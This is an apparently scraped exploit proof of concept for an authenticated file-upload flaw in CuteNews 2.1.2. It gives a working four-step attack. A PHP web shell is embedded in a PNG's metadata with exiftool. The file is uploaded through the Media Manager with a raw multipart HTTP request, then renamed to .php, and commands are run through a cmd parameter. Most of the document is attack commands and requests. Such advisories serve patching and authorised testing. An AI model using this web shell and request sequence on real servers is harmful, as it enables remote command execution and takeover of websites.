117 lines
No EOL
3.8 KiB
Text
117 lines
No EOL
3.8 KiB
Text
# Exploit Title: CuteNews 2.1.2 - Authenticated Arbitrary File Upload
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# Date: 2020-05-12
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# Author: Vigov5 - SunCSR Team
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# Vendor Homepage: https://cutephp.com
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# Software Link: https://cutephp.com/click.php?cutenews_latest
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# Version: v2.1.2
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# Tested on: Ubuntu 18.04 / Kali Linux
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Description:
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------------------------------------------------------------------------
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In the "Media Manager" area, Users with low privileges (Editor) can bypass
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file upload restrictions, resulting in arbitrary command execution.
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[PoC]
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--------------------------------------------------------------------------------
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# Step 1. Create shell $ exiftool -Comment='<?php echo "<pre>";
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system($_GET['cmd']); ?>' shell.png;
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# Step 2. Upload Shell (# Minimum editor privileges)
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POST /CuteNews/index.php HTTP/1.1
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Host: [target]
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User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
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Firefox/76.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data;
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boundary=---------------------------15868731501112834542363527723
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Content-Length: 3775
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Origin: [target]
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DNT: 1
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Connection: close
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Referer: [target]/CuteNews/index.php
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Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
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Upgrade-Insecure-Requests: 1
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="mod"
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media
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="opt"
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media
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="folder"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="CKEditorFuncNum"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="callback"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="style"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="faddm"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="imgopts"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="__signature_key"
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7ffa4c94a150c20f0c1b51036f6e4597-editor
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="__signature_dsi"
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48d87ded04d15407f258c57efa3216e8
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="upload_from_inet"
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="upload_file[]"; filename="shell.png"
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Content-Type: image/png
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[Content Image Here ! ]
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-----------------------------15868731501112834542363527723
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Content-Disposition: form-data; name="upload"
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Upload file(s)
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-----------------------------15868731501112834542363527723--
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# Step 3. Change filename shell.jpg to shell.php
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POST /CuteNews/index.php HTTP/1.1
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Host: [target]
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User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
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Firefox/76.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 241
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Origin: [target]
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DNT: 1
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Connection: close
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Referer: http://[target]CuteNews/index.php
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Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
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Upgrade-Insecure-Requests: 1
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mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=ebdaf403dcda492fabe8f1d96399b16b-editor&__signature_dsi=27a9035f2b130dd1477ad2a37a5721da&pending=rename&ids%5B0%5D=shell.png&place%5B0%5D=shell.php
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# Step 4. Execute the command with the path : http://
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[target]/CuteNews/uploads/shell.php?cmd=id |